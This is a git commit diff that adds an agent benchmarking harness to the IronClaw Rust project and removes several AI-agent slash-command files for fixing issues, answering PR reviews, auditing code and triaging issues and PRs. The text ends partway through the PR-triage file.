Compare commits

..
Author SHA1 Message Date
Illia PolosukhinandClaude Opus 4.6 285616d1cd feat: Add benchmarking harness for agent evaluation
Introduces ironclaw-bench, a Rust-native benchmarking crate that drives the
real agent loop headlessly. Supports standard benchmarks (GAIA, Tau-bench,
SWE-bench Pro) and custom JSONL task sets with parallel execution, resume
support, and incremental JSONL output.

Key components:
- BenchChannel: headless Channel impl with auto-approval and response capture
- InstrumentedLlm: LlmProvider wrapper recording per-call token/cost metrics
- BenchRunner: task orchestration with parallel execution and JSONL resume
- Scoring utilities: exact match, contains, regex (all with normalization)
- CLI: run, results, compare, list subcommands via clap
- Four suite adapters: custom, gaia, tau_bench, swe_bench

Also fixes a pre-existing missing SseEvent::ToolResult match arm in the web
gateway and adds FinishReason to the LLM module's public re-exports.

Co-Authored-By: Claude Opus 4.6 <[email protected]>
2026-02-09 09:00:54 -08:00
564 changed files with 15555 additions and 178925 deletions
+2 -2
View File
@@ -286,8 +286,8 @@ impl Tool for <Name>Tool {
false // Set true if tool processes external data
}
fn requires_approval(&self, _params: &serde_json::Value) -> crate::tools::tool::ApprovalRequirement {
crate::tools::tool::ApprovalRequirement::Never // Set to UnlessAutoApproved or Always as needed
fn requires_approval(&self) -> bool {
false // Set true if tool is destructive or contacts external services
}
}
```
-97
View File
@@ -1,97 +0,0 @@
---
description: Fetch a GitHub issue, create a branch, research the codebase, plan the fix, implement with tests, and commit
disable-model-invocation: true
allowed-tools: Bash(gh issue view:*), Bash(gh repo view:*), Bash(git fetch:*), Bash(git checkout:*), Bash(git status:*), Bash(git branch:*), Bash(git add:*), Bash(git commit:*), Bash(cargo fmt:*), Bash(cargo clippy:*), Bash(cargo test:*), Read, Edit, Write, Grep, Glob
argument-hint: "<issue-number or github-issue-url>"
---
# Fix GitHub Issue
## Step 1: Resolve the issue
Parse `$ARGUMENTS` to extract the issue number:
- If it's a URL like `https://github.com/owner/repo/issues/42`, extract `42`.
- If it's a bare number, use it directly.
- If empty, stop and ask the user for an issue number.
Fetch the issue:
```
gh issue view {number} --json title,body,labels,assignees,comments,state
```
If the issue is closed, warn the user and ask if they still want to proceed.
## Step 2: Create a branch
Create a fresh branch off the latest main:
1. Fetch latest: `git fetch origin`
2. Detect default branch: `gh repo view --json defaultBranchRef --jq .defaultBranchRef.name`
3. Create and switch to a new branch: `git checkout -b fix/{number}-{short-slug} origin/{default-branch}`
- `{short-slug}` is 3-5 words from the issue title, lowercase, hyphenated (e.g. `fix/42-idor-workspace-check`)
If the working tree has uncommitted changes, warn the user and stop. Do not stash or discard their work.
## Step 3: Understand the issue
Summarize the issue in 2-3 sentences. Identify:
- **What's broken or missing** (the symptom or feature request)
- **Acceptance criteria** (what "done" looks like, from the issue body or comments)
- **Constraints** (mentioned technologies, backward compatibility, performance requirements)
If the issue is unclear or ambiguous, list the open questions. These will be addressed during planning.
## Step 4: Research the codebase
Before planning, gather context:
1. **Find relevant code** - Search for files, functions, types, and patterns mentioned in the issue. Read them in full.
2. **Trace the flow** - If the issue is about a specific behavior, trace the code path from the entry point (route handler, CLI command, etc.) through to the relevant logic.
3. **Check existing tests** - Find tests related to the affected code. Understand what's already covered.
4. **Check for prior art** - Look for similar patterns in the codebase that solve analogous problems. Prefer consistency with existing patterns.
## Step 5: Enter planning mode
Enter planning mode to design the implementation. The plan MUST cover:
1. **Root cause** (for bugs) or **design approach** (for features)
2. **Files to modify** with specific descriptions of what changes in each
3. **New files** (if any) with justification for why they're needed
4. **Tests to add** - every code path introduced or changed needs a test:
- Happy path (expected input produces expected output)
- Error paths (invalid input, missing data, permission denied)
- Edge cases (empty collections, boundary values, concurrent access)
5. **IronClaw-specific concerns**:
- If the change touches persistence, both database backends must be updated (`postgres.rs` and `libsql_backend.rs`)
- New `Database` trait methods need implementations in both backends
- No `.unwrap()` or `.expect()` in production code
- Use `crate::` imports, not `super::`
- Error types via `thiserror` in `error.rs`
6. **Migration or compatibility concerns** (if any)
Follow the project's CLAUDE.md guidance for architecture decisions.
Wait for user approval before implementing.
## Step 6: Implement
After the plan is approved:
1. Implement each change from the plan.
2. Write all planned tests.
3. Run IronClaw's full quality gate:
- `cargo fmt`
- `cargo clippy --all --benches --tests --examples --all-features` (zero warnings)
- `cargo test --lib` (all tests pass)
4. If any check fails, fix it before proceeding.
Note: Integration tests (`--test workspace_integration`) require PostgreSQL and are expected to fail locally. Only `--lib` test failures are blocking.
## Step 7: Commit and summarize
1. Commit with a descriptive message referencing the issue (e.g. `fix: prevent IDOR in function call outputs (#42)`).
2. Summarize what was done:
- Files changed with line references
- Tests added and what they cover
- Any follow-up work or open questions
-81
View File
@@ -1,81 +0,0 @@
---
description: Respond to PR review comments — triage, plan fixes, implement after confirmation, push, and reply to reviewers
disable-model-invocation: true
allowed-tools: Bash(gh pr list:*), Bash(gh pr comment:*), Bash(gh api:*), Bash(gh repo view:*), Bash(git branch:*), Bash(git status:*), Bash(git add:*), Bash(git commit:*), Bash(git push:*), Bash(cargo fmt:*), Bash(cargo clippy:*), Bash(cargo test:*), Read, Edit, Write, Grep, Glob
argument-hint: "[pr-number (optional, auto-detects from branch)]"
---
# Review and Address PR Comments
## Step 1: Find the PR
If `$ARGUMENTS` is provided, use that as the PR number. Otherwise, detect the PR for the current branch:
```
gh pr list --head $(git branch --show-current) --json number,title,url --jq '.[0]'
```
If no PR is found, tell the user and stop.
## Step 2: Fetch all review comments
Resolve the repo owner and name:
```
gh repo view --json owner,name --jq '"\(.owner.login)/\(.name)"'
```
Fetch the full set of review comments (not issue-level comments):
```
gh api --paginate repos/{owner}/{repo}/pulls/{number}/comments
```
Also fetch the review summaries:
```
gh api --paginate repos/{owner}/{repo}/pulls/{number}/reviews
```
Deduplicate comments that appear multiple times (bots sometimes post the same finding under different IDs). Group by the actual issue being raised, not by comment ID.
## Step 3: Triage and plan
For each unique issue raised in the comments:
1. **Check if already addressed** - Read the current code at the referenced location. If a prior commit already fixed it, note it as "already resolved".
2. **Assess validity** - Determine if the comment identifies a real problem or is a false positive. Be honest about false positives but explain why.
3. **Classify severity** - Critical (security/data loss), High (bugs/broken behavior), Medium (correctness/robustness), Low (style/naming/nits).
4. **Plan the fix** - For each valid unresolved issue, describe the specific code change needed.
Present the plan as a table to the user:
| # | Issue | File:Line | Severity | Status | Planned Fix |
|---|-------|-----------|----------|--------|-------------|
Wait for user confirmation before proceeding to implementation.
## Step 4: Implement fixes
After user confirms:
1. Implement each fix in the plan.
2. Run IronClaw's quality gate to verify nothing breaks:
- `cargo fmt`
- `cargo clippy --all --benches --tests --examples --all-features`
- `cargo test --lib`
3. Commit with a descriptive message referencing the PR review.
4. Push to the branch.
## Step 5: Reply to comments
For each comment addressed, reply on the PR with a short message stating what was fixed and the commit SHA. For false positives or already-resolved items, reply explaining why no change was needed.
## Rules
- Never guess at code you haven't read. Always read the referenced file and line before assessing a comment.
- Group duplicate comments (same issue reported by multiple bots) and reply to all of them.
- Do not make changes beyond what the review comments ask for. Stay focused.
- If a comment suggests a change you disagree with, present your reasoning to the user during the planning phase rather than silently ignoring it.
- Follow IronClaw conventions: no `.unwrap()` in production code, use `crate::` imports, `thiserror` errors.
- If changes touch persistence, verify both database backends are updated.
-245
View File
@@ -1,245 +0,0 @@
---
description: Deep audit of the IronClaw crate for vulnerabilities, bugs, unfinished work, inconsistencies, and oversights
disable-model-invocation: true
allowed-tools: Bash(cargo fmt:*), Bash(cargo clippy:*), Bash(cargo test:*), Bash(cargo audit:*), Bash(git diff:*), Bash(git log:*), Bash(git show:*), Bash(wc:*), Read, Grep, Glob, Task
argument-hint: "[path/to/crate]"
---
# Rust Crate Audit
You are performing a thorough audit of a Rust crate. Your goal is to find every vulnerability, bug, unfinished piece of work, inconsistency, and oversight before it ships. Leave no stone unturned.
## Step 1: Locate the crate
Parse `$ARGUMENTS`:
- If a path is provided, use it as the crate root.
- If empty, use the current working directory.
Verify it's a valid Rust crate by checking for `Cargo.toml`. If not found, stop and ask the user.
## Step 2: Understand the crate
Read `Cargo.toml` to understand:
- Crate name, version, edition
- Dependencies (look for outdated, unmaintained, or suspicious crates)
- Feature flags and their implications
- Build scripts (`build.rs`) if any
Read `CLAUDE.md`, `README.md`, or top-level documentation if present to understand intent and architecture.
Read `src/lib.rs` or `src/main.rs` to get the module tree. Then read each module's `mod.rs` or top-level file to build a mental map of the crate's structure before diving into details.
Read all Rust files (`src/*.rs`) to make sure everything is in context when you are reasoning.
## Step 3: Run the compiler's checks
Run these commands and capture output. Do NOT fix anything, just collect findings:
```
cargo fmt --check 2>&1
```
```
cargo clippy --all --benches --tests --examples --all-features -- -W clippy::all -W clippy::pedantic -W clippy::nursery 2>&1
```
```
cargo test --lib 2>&1
```
If any of these fail, record the failures as findings. If `cargo test` has ignored tests, note which ones and why.
Note: Integration tests (`--test workspace_integration`) require a PostgreSQL database and are expected to fail locally. Only report `--lib` test failures as blocking.
## Step 4: Scan for unfinished work
Search the entire `src/` tree for:
```
todo!
unimplemented!
fixme
FIXME
TODO
HACK
XXX
SAFETY:
stub
placeholder
temporary
```
For each match:
- Is it in production code or test code?
- Is it a genuine incomplete feature or a deliberate placeholder?
- Is there a tracking issue referenced?
- Could this panic at runtime?
Any `todo!()` or `unimplemented!()` in non-test code is **High severity** (runtime panic).
## Step 5: Audit for vulnerabilities and unsafe code
### 5a. Unsafe code
Search for all `unsafe` blocks. For each one:
- Is the safety invariant documented with a `// SAFETY:` comment?
- Is the invariant actually upheld by the surrounding code?
- Could the unsafe block be replaced with a safe alternative?
- Are there any pointer dereferences, transmutes, or FFI calls?
### 5b. Unwrap and panic paths
Search for `.unwrap()`, `.expect(`, `panic!`, `unreachable!` in non-test code. For each:
- Can this actually panic in production?
- Is there a code path that reaches this with None/Err?
- Should it be replaced with proper error handling (`?`, `.ok()`, `.unwrap_or_default()`)?
IronClaw convention: `.unwrap()` and `.expect()` are banned in production code. Any occurrence outside `#[cfg(test)]` blocks is a **High severity** finding.
### 5c. SQL and injection vectors
Search for string formatting used in SQL queries, shell commands, or HTML:
- `format!` used near `.execute(`, `.query(`, `Command::new(`
- String interpolation in query construction vs parameterized queries
- User input flowing into file paths (`Path::new`, `std::fs::`)
IronClaw has two database backends (PostgreSQL and libSQL). Check both for injection vectors.
### 5d. Cryptographic issues
If the crate uses crypto:
- Are comparisons constant-time? (look for `==` on secrets/hashes vs `subtle::ConstantTimeEq`)
- Is randomness from `OsRng` / `thread_rng` and not a fixed seed?
- Are keys/secrets zeroized after use? (`secrecy`, `zeroize` crates)
- Are deprecated algorithms used? (MD5, SHA1 for security, RC4, DES)
### 5e. Resource exhaustion
- Are there unbounded allocations? (`Vec` growing from user input without limits)
- Are there unbounded loops? (retry loops without max attempts)
- Are file reads bounded? (`std::fs::read_to_string` on user-provided paths)
- Are timeouts set on all network operations?
- Are there connection/resource leaks? (opened but never closed, missing `Drop`)
### 5f. Error handling
- Are errors swallowed silently? (`let _ = ...`, `.ok()` discarding errors that matter)
- Do error types carry enough context to debug in production?
- Are there error type mismatches? (returning generic `anyhow::Error` where a typed error would prevent confusion)
- Is `thiserror` used consistently for error types (IronClaw convention)?
## Step 6: Check for inconsistencies
### 6a. Naming conventions
- Are types, functions, modules named consistently? (e.g., mixing `get_` and `fetch_`, `create_` and `new_`)
- Do similar operations follow the same patterns?
### 6b. Duplicate or near-duplicate code
Look for:
- Functions that do nearly the same thing with minor variations (candidates for generics or shared helpers)
- Repeated error mapping patterns that should be extracted
- Copy-pasted SQL queries or string templates with slight differences
- Identical struct definitions or conversion logic in different modules
### 6c. API consistency
- Do similar functions take arguments in the same order?
- Are return types consistent? (e.g., some functions return `Option<T>`, similar ones return `Result<T, E>`)
- Are visibility modifiers consistent? (`pub` where it should be `pub(crate)`, or vice versa)
### 6d. Dead code and unused items
- Are there functions, structs, or modules that nothing references?
- Are there `#[allow(dead_code)]` annotations that should be investigated?
- Are there feature-gated items where the feature is never enabled?
### 6e. Import style
IronClaw convention: use `crate::` imports, not `super::`. Flag any `super::` imports in non-test code.
## Step 7: Inspect for change oversights
### 7a. Partial refactors
- Are there old patterns coexisting with new patterns?
- Are there renamed types/functions where some call sites still use the old name via a compatibility alias?
- Are there comments referencing behavior that no longer exists?
### 7b. Trait implementation gaps
- If a trait is defined, do all intended types implement it?
- Are there `impl` blocks that look incomplete?
- Are `Default` implementations sensible?
IronClaw key traits: `Database` (~60 methods), `Channel`, `Tool`, `LlmProvider`, `SuccessEvaluator`, `EmbeddingProvider`. If any new methods were added to `Database`, verify both `postgres.rs` and `libsql_backend.rs` implement them.
### 7c. Test coverage gaps
- Are there public functions without any test?
- Are there error paths without tests?
- Are there recently-changed functions where the tests still assert old behavior?
### 7d. Documentation drift
- Do doc comments match actual function behavior?
- Are examples in doc comments still valid and compilable?
## Step 8: Dependency audit
Review `Cargo.toml` and `Cargo.lock`:
- Are there duplicate versions of the same crate in the lock file? (potential version conflicts)
- Are there dependencies with known security advisories? Run `cargo audit` to check (install with `cargo install cargo-audit` if not present).
- Are there heavy dependencies used for trivial functionality?
- Are dependency features minimal?
## Step 9: Present findings
Compile all findings into a structured report. Group by severity, then by category.
### Format
For each finding:
```
### [Severity] Category: One-line summary
**Location:** `file_path:line_number`
**Category:** Vulnerability | Bug | Unfinished | Inconsistency | Duplicate | Oversight | Style
**Description:**
Detailed explanation of the issue, why it matters, and how it could manifest.
**Suggested fix:**
Concrete suggestion with code if applicable.
```
### Severity levels
- **Critical**: Security vulnerability, data loss, or crash in production
- **High**: Bug that causes incorrect behavior, `todo!()`/`unimplemented!()` in prod code, or missing validation on trust boundaries
- **Medium**: Inconsistency, duplicate code, incomplete error handling, missing tests for important paths
- **Low**: Naming inconsistency, unnecessary complexity, documentation drift, minor dead code
- **Nit**: Style preference, optional improvement
### Summary table
End with a summary table:
| # | Severity | Category | File:Line | Finding |
|---|----------|----------|-----------|---------|
And a final tally: X Critical, Y High, Z Medium, W Low, V Nit.
## Rules
- Read every file before reporting on it. Never guess about code you haven't seen.
- Be specific. "This might have issues" is worthless. "Line 42 calls `.unwrap()` on a `Result` that returns `Err` when the DB connection is dropped" is useful.
- Distinguish certainty levels: "this IS a bug" vs "this COULD be a bug if X".
- Don't invent problems to look thorough. If the code is solid, say so.
- Focus on substance over style. Don't flag formatting unless it causes real confusion.
- Respect existing project conventions (check CLAUDE.md). Don't flag patterns the project explicitly endorses.
- When in doubt about severity, round up.
- For large crates (>50 files), prioritize: core logic > public API > internal utilities > tests > examples.
- Use the Task tool to parallelize file reading across modules when the crate is large.
- Do NOT fix anything. This is a read-only audit. Report findings for the user to action.
-170
View File
@@ -1,170 +0,0 @@
---
description: Paranoid architect review of a PR — fetches diff, reads changed files, deep review across 6 lenses, posts findings as GitHub comments
disable-model-invocation: true
allowed-tools: Bash(gh pr view:*), Bash(gh pr diff:*), Bash(gh pr comment:*), Bash(gh api:*), Bash(gh repo view:*), Bash(git diff:*), Bash(git log:*), Read, Grep, Glob
argument-hint: "<pr-number or github-pr-url>"
---
# Paranoid Architect Code Review
You are reviewing this PR as a paranoid architect. Your job is to find every bug, vulnerability, race condition, edge case, and undocumented assumption before it ships. Assume adversarial users, concurrent access, and Murphy's law.
## Step 1: Resolve the PR
Parse `$ARGUMENTS` to extract the PR number:
- If it's a URL like `https://github.com/owner/repo/pull/123`, extract `123`.
- If it's a bare number, use it directly.
- If empty, stop and ask the user for a PR number.
Fetch PR metadata (including head commit SHA for posting line comments later):
```
gh pr view {number} --json title,body,baseRefName,headRefName,headRefOid,files,additions,deletions
```
Save the `headRefOid` value, you'll need it as `commit_id` in Step 6.
## Step 2: Load the full diff
```
gh pr diff {number}
```
Also get the list of changed files:
```
gh pr diff {number} --name-only
```
## Step 3: Read every changed file in full
For each changed file, read the ENTIRE current file (not just the diff hunks). You need surrounding context to catch:
- Callers of modified functions that now behave differently
- Trait/interface contracts that the change may violate
- Invariants established elsewhere that the diff breaks
If the PR touches more than 20 files, still read all of them, but process in this priority order: service logic > routes/handlers > models/types > tests > docs. Batch reads in groups of ~20 if needed.
## Step 4: Deep review
Go through the changes with each of these lenses. For every finding, note the file, line range, severity, and a concrete description.
### IronClaw-specific checks
In addition to the general lenses below, check IronClaw conventions (see CLAUDE.md):
- No `.unwrap()` or `.expect()` in production code (tests are fine)
- Use `crate::` imports, not `super::`
- Error types use `thiserror` in `error.rs`
- If the change touches persistence, verify both database backends are updated (PostgreSQL in `postgres.rs` AND libSQL in `libsql_backend.rs`)
- New tools must implement the `Tool` trait correctly and be registered in `registry.rs`
- External tool output must pass through the safety layer
### 4a. Correctness and bugs
- Off-by-one errors, wrong comparison operators, inverted conditions
- Unreachable code, dead branches, impossible match arms
- Type confusion (mixing up IDs, using wrong enum variant)
- Incorrect error propagation (swallowed errors, wrong error type/status code)
- Broken invariants (e.g. uniqueness assumptions violated, ordering assumptions wrong)
- Concurrency issues (TOCTOU, missing locks, race conditions between check and use)
### 4b. Edge cases and failure handling
- What happens with empty input, None/null, zero-length collections?
- What happens when external services fail (DB down, HTTP timeout, malformed response)?
- What happens at integer boundaries (overflow, underflow, i64::MAX)?
- What happens with malformed or adversarial input (invalid UTF-8, huge payloads, deeply nested JSON)?
- Are all error paths tested? Does every `?` propagation make sense?
- Are partial failures handled (e.g. wrote to DB but failed to emit event)?
### 4c. Security (assume a malicious actor)
- **Authentication/Authorization bypass**: Can an unauthenticated user reach this? Can workspace A's user access workspace B's data? Are there IDOR vulnerabilities?
- **Injection**: SQL injection via string interpolation? Command injection? Log injection? Header injection?
- **Data leakage**: Are secrets, PII, or conversation content logged? Returned in error messages? Exposed in API responses?
- **Resource exhaustion / DoS**: Can an attacker send unbounded input? Trigger expensive operations without rate limits? Cause OOM via large allocations?
- **Financial abuse**: Can tokens/credits be consumed without being tracked? Can usage limits be bypassed?
- **Replay / race conditions**: Can the same request be replayed for double-spend? Can concurrent requests bypass limits?
- **Cryptographic issues**: Timing attacks on comparisons? Weak randomness? Missing HMAC verification?
### 4d. Test coverage
- Is every new public function/method tested?
- Are error paths tested (not just happy paths)?
- Are edge cases covered (empty input, boundary values, concurrent access)?
- Do existing tests still make sense with the new changes, or do they assert stale behavior?
- Are there integration/e2e tests for the full flow?
- If a test is missing, describe exactly what test should be written.
### 4e. Documentation and assumptions
- Are new assumptions documented in comments? (e.g. "this field is always non-empty because X")
- Are non-obvious algorithms or business rules explained?
- Are API contracts (request/response shapes, error codes, status codes) documented?
- Are there TODO/FIXME/HACK comments that should be tracked as issues?
### 4f. Architectural concerns
- Does this change follow existing patterns in the codebase, or does it introduce a new one without justification?
- Are there unnecessary abstractions or premature generalizations?
- Is there duplicated logic that should be extracted?
- Are dependencies between modules clean, or does this create circular/tight coupling?
- Will this change make future work harder?
## Step 5: Present findings
Summarize findings to the user as a table:
| # | Severity | Category | File:Line | Finding | Suggested Fix |
|---|----------|----------|-----------|---------|---------------|
Severity levels:
- **Critical**: Security vulnerability, data loss, or financial exploit
- **High**: Bug that will cause incorrect behavior in production
- **Medium**: Robustness issue, missing validation, or incomplete error handling
- **Low**: Style, naming, documentation, or minor improvement
- **Nit**: Optional suggestion, take-it-or-leave-it
Ask the user which findings to post as PR comments. Default: all Critical, High, and Medium.
## Step 6: Post comments on GitHub
Resolve the repo owner and name if not already known:
```
gh repo view --json owner,name --jq '"\(.owner.login)/\(.name)"'
```
For each approved finding, post a review comment on the PR at the specific file and line. Use the `headRefOid` from Step 1 as the `commit_id`:
```
gh api repos/{owner}/{repo}/pulls/{number}/comments \
-f body="..." \
-f path="..." \
-f commit_id="{headRefOid}" \
-F line=... \
-f side="RIGHT"
```
For findings that span multiple locations or are architectural, post as a regular PR comment:
```
gh pr comment {number} --body "..."
```
Format each comment clearly:
- Severity tag (e.g. `**High Severity**`)
- One-line summary
- Detailed explanation of the issue
- Concrete suggestion for the fix (with code if possible)
## Rules
- Read every changed file in full before writing a single finding. Context matters.
- Never post a comment about code you haven't actually read. Verify line numbers against the actual file.
- Be specific. "This might have issues" is useless. "Line 42 returns 404 but should return 400 because X" is useful.
- Distinguish between "this IS a bug" and "this COULD be a bug if X". Be honest about certainty.
- Don't nitpick formatting or style unless it causes actual confusion. Focus on substance.
- If the code is good and you find nothing, say so. Don't invent problems to look thorough.
- Respect the project's CLAUDE.md privacy rules: never include customer data, secrets, or PII in comments.
- When in doubt about severity, round up. It's cheaper to dismiss a false alarm than to miss a real bug.
-257
View File
@@ -1,257 +0,0 @@
---
description: Triage open GitHub issues — split into bugs vs features, rank by severity/opportunity, and flag under-specified issues
disable-model-invocation: true
allowed-tools: Bash(gh issue list:*), Bash(gh issue view:*), Bash(gh api:*), Bash(git log:*), Read, Grep, Glob, Task
argument-hint: "[--label=<filter>] [--milestone=<filter>]"
---
# Issue Triage
You are triaging all open issues on this repository. Your job is to split them into **bugs** and **feature requests**, rank each group, assess how well-specified each issue is, and produce an actionable triage report.
## Step 1: Fetch all open issues
Fetch every open issue with metadata:
```
gh issue list --state open --limit 200 --json number,title,author,labels,assignees,createdAt,updatedAt,body,commentsCount,reactionGroups,milestone
```
If `$ARGUMENTS` contains `--label=<X>`, append `--label '<X>'` to the command. If it contains `--milestone=<X>`, append `--milestone '<X>'` to the command.
Also fetch recently closed issues (last 14 days) to detect duplicates and already-resolved work:
```
gh issue list --state closed --search "closed:>=$(date -v-14d +%Y-%m-%d)" --limit 100 --json number,title,body,labels,closedAt
```
**Exclude pull requests**`gh issue list` may include PRs. Fetch open PR numbers to filter them out:
```
gh pr list --state open --json number --jq '.[].number'
```
Remove any issue whose number appears in this list.
## Step 2: Classify each issue as Bug or Feature
Read each issue's title, body, and labels to classify it into one of these categories:
### Bugs
Issues that describe **broken existing behavior** — something that worked or should work but doesn't. Signals:
- Labels: `bug`, `defect`, `regression`, `crash`, `error`
- Title/body keywords: "broken", "fails", "crash", "panic", "error", "regression", "doesn't work", "unexpected behavior"
- Includes reproduction steps or error output
- References existing functionality not working as documented
### Feature Requests
Issues that describe **new or enhanced behavior** — something that doesn't exist yet. Signals:
- Labels: `enhancement`, `feature`, `feature-request`, `improvement`, `proposal`
- Title/body keywords: "add", "support", "implement", "would be nice", "proposal", "RFC", "new"
- Describes a capability the project doesn't have
- Proposes a design or API change
### Ambiguous
If an issue doesn't clearly fit either category (e.g., "improve X performance" could be a bug or a feature), classify it as **Ambiguous** and note why.
## Step 3: Rate issue detail level
For each issue, assess how well-specified it is on a 3-tier scale:
| Detail Level | Criteria |
|-------------|----------|
| **Well-specified** | Has clear description of what/why, reproduction steps (bugs) or user story (features), acceptance criteria or expected behavior, and enough context to start working immediately |
| **Adequate** | Describes the problem or request clearly, but missing some detail — no repro steps, vague acceptance criteria, or unclear scope. Needs 1-2 clarifying questions before work can start |
| **Under-specified** | Vague title-only or single-sentence body, no context on why it matters, no clear definition of done. Needs significant discussion before it's actionable |
Indicators of good specification:
- Code snippets, error logs, or screenshots
- Steps to reproduce (bugs)
- Proposed API/behavior (features)
- Links to related issues or discussions
- Clear "done when" criteria
## Step 4: Rank bugs by severity
Score each bug on these dimensions and compute an overall severity rank:
### Impact (1-4)
| Score | Level | Description |
|-------|-------|-------------|
| 4 | **Critical** | Data loss, security vulnerability, complete feature broken, crash in common path |
| 3 | **High** | Major feature degraded, workaround exists but painful, affects many users |
| 2 | **Medium** | Minor feature broken, easy workaround, affects subset of users |
| 1 | **Low** | Cosmetic, edge case, documentation error, minor inconvenience |
### Urgency (1-3)
| Score | Level | Description |
|-------|-------|-------------|
| 3 | **Urgent** | Security issue, regression in recent release, blocking other work |
| 2 | **Normal** | Should be fixed in next release cycle |
| 1 | **Low** | Fix when convenient, backlog-worthy |
### Scope (1-3)
| Score | Level | Description |
|-------|-------|-------------|
| 3 | **Broad** | Affects core path, multiple modules, or all users |
| 2 | **Moderate** | Affects one module or a specific configuration |
| 1 | **Narrow** | Affects edge case or single obscure path |
**Bug severity score** = Impact × 2 + Urgency + Scope (base max 14)
Apply a one-time +2 boost if any of the following are true (max 16):
- Has a linked PR already (someone is working on it — fast-track review)
- Is labeled `security`
- Is a regression (worked before, broken now)
## Step 5: Rank features by opportunity
Score each feature request on these dimensions:
### Value (1-4)
| Score | Level | Description |
|-------|-------|-------------|
| 4 | **High** | Unlocks new use cases, frequently requested, strategic alignment |
| 3 | **Medium-High** | Significant quality-of-life improvement, good user demand signals |
| 2 | **Medium** | Nice to have, modest improvement to existing workflow |
| 1 | **Low** | Marginal value, niche use case, unclear demand |
Look for value signals in the issue:
- Number of thumbs-up reactions or "+1" comments
- Multiple people asking for the same thing
- Alignment with project roadmap (check CLAUDE.md TODOs)
- Unblocks other features or simplifies architecture
### Effort estimate (1-3, inverted — lower effort = higher score)
| Score | Level | Description |
|-------|-------|-------------|
| 3 | **Small** | <1 day, isolated change, clear implementation path |
| 2 | **Medium** | 1-3 days, touches a few modules, some design needed |
| 1 | **Large** | 3+ days, cross-cutting, needs RFC or architectural discussion |
### Readiness (1-3)
| Score | Level | Description |
|-------|-------|-------------|
| 3 | **Ready** | Well-specified, implementation path clear, no blockers |
| 2 | **Almost ready** | Needs minor clarification, but scope is understood |
| 1 | **Not ready** | Needs design discussion, has open questions, blocked by other work |
**Opportunity score** = Value × 2 + Effort + Readiness (base max 14)
Apply a one-time +2 boost if any of the following are true (max 16):
- A community member offered to implement it
- It has a linked draft PR
- It closes a gap listed in the project's "Current Limitations / TODOs"
## Step 6: Detect duplicates and relationships
Check for:
- **Duplicates** — Issues describing the same bug or requesting the same feature (compare titles and bodies)
- **Related clusters** — Groups of issues around the same area (e.g., multiple workspace issues, multiple CLI issues)
- **Already fixed** — Open issues that may have been resolved by recently closed issues or merged PRs
- **Blockers** — Issues that reference other issues as prerequisites ("depends on #N", "blocked by #N")
- **Epic candidates** — Multiple small issues that could be grouped under a single tracking issue
## Step 7: Produce the triage report
Present the output in this format:
### Quick Stats
```
Open: N | Bugs: N | Features: N | Ambiguous: N
Well-specified: N | Adequate: N | Under-specified: N
Unassigned: N | Stale (>30d): N
```
---
### Critical Bugs (Severity 12+)
Bugs that need immediate attention. For each:
| # | Title | Severity | Impact | Detail | Age | Assignee |
|---|-------|----------|--------|--------|-----|----------|
Include a 1-line summary of the root cause if discernible from the issue.
### High-Priority Bugs (Severity 8-12)
Same table format. These should be addressed in the next release cycle.
### Medium/Low Bugs (Severity <8)
Compact table, sorted by severity descending.
---
### Quick Wins (Opportunity 12+ AND Effort = Small)
Features that are high-value and low-effort — do these first. For each:
| # | Title | Opportunity | Value | Effort | Detail | Age |
|---|-------|-------------|-------|--------|--------|-----|
### High-Opportunity Features (Opportunity 10+)
Same table format. Worth investing in.
### Backlog Features (Opportunity <10)
Compact table, sorted by opportunity descending.
---
### Under-Specified Issues (Need Clarification)
Issues rated "Under-specified" that can't be triaged effectively. For each, suggest 1-2 specific questions to ask the author to make it actionable.
| # | Title | Type | What's missing |
|---|-------|------|---------------|
### Ambiguous Issues (Bug or Feature?)
Issues that couldn't be clearly classified. For each, explain the ambiguity and suggest which category it likely belongs in.
---
### Duplicates & Overlaps
Groups of issues that appear to be duplicates or closely related. Recommend which to keep and which to close.
### Already Fixed?
Open issues that may have been resolved by recently closed issues or merged PRs.
### Stale Issues (>30 days, no activity)
Issues with no updates in 30+ days. Recommend: close, ping author, or keep.
---
### By Area
Group all issues by the area of the codebase they affect (infer from title/body/labels):
| Area | Bugs | Features | Top Priority |
|------|------|----------|-------------|
### Suggested Next Actions
Based on the triage, provide 3-5 concrete recommendations:
1. Which bugs to fix first and why
2. Which quick-win features to pick up
3. Which under-specified issues to clarify
4. Which stale issues to close
5. Any clusters that suggest a larger initiative
## Rules
- Use `gh` CLI for all GitHub operations. Never guess issue state — always check.
- For large issue lists (>20), use the Task tool to parallelize fetching issue details and comments.
- Be concise in summaries. One line per issue in tables.
- When scoring, be honest about uncertainty. If you can't tell severity from the description, say so and rate it conservatively.
- Factor in issue age — older unresolved bugs may indicate they're less critical than they seem, or that they're hard to fix. Note this in your assessment.
- Check comment threads for additional context that the original body may lack. An under-specified issue with rich discussion may actually be well-understood.
- Do NOT post comments, close issues, or take any action. This skill is read-only analysis.
- If the repo has >100 open issues, focus the detailed analysis on the top 30 by recency and engagement (comments + reactions), and provide a summary table for the rest.
-161
View File
@@ -1,161 +0,0 @@
---
description: Classify all open PRs by module, review state, scope, and architectural impact — produces a prioritized triage dashboard
disable-model-invocation: true
allowed-tools: Bash(gh pr list:*), Bash(gh pr view:*), Bash(gh pr diff:*), Bash(gh api:*), Bash(gh pr checks:*), Bash(git log:*), Read, Grep, Glob, Task
argument-hint: "[--label=<filter>] [--author=<filter>]"
---
# PR Triage Dashboard
You are triaging all open PRs on this repository. Your job is to produce a prioritized, module-grouped dashboard that tells the maintainer exactly which PRs need attention and in what order.
## Step 1: Fetch all open PRs
Fetch every open PR with metadata:
```
gh pr list --state open --limit 100 --json number,title,author,labels,additions,deletions,headRefName,createdAt,updatedAt,isDraft,reviewRequests,reviews,files,body
```
If `$ARGUMENTS` contains `--label=<X>`, append `--label '<X>'` to the `gh pr list` command. If it contains `--author=<X>`, append `--author '<X>'` to the command.
Also fetch recently merged PRs (last 7 days) to detect superseded/conflicting work:
```
gh pr list --state merged --search "merged:>=$(date -v-7d +%Y-%m-%d)" --limit 100 --json number,title,body,mergedAt
```
## Step 2: Classify each PR by module
For each open PR, determine the primary module it touches by examining the `files` field. Classify into these categories based on the dominant `src/` subdirectory:
| Category | Directories |
|----------|------------|
| **LLM & Inference** | `src/llm/` |
| **Agent Core** | `src/agent/`, `src/skills/` |
| **Tools** | `src/tools/`, `tools-src/` |
| **Channels** | `src/channels/`, `channels-src/` |
| **Storage & Memory** | `src/db/`, `src/workspace/`, `migrations/` |
| **Security** | `src/safety/`, `src/secrets/` |
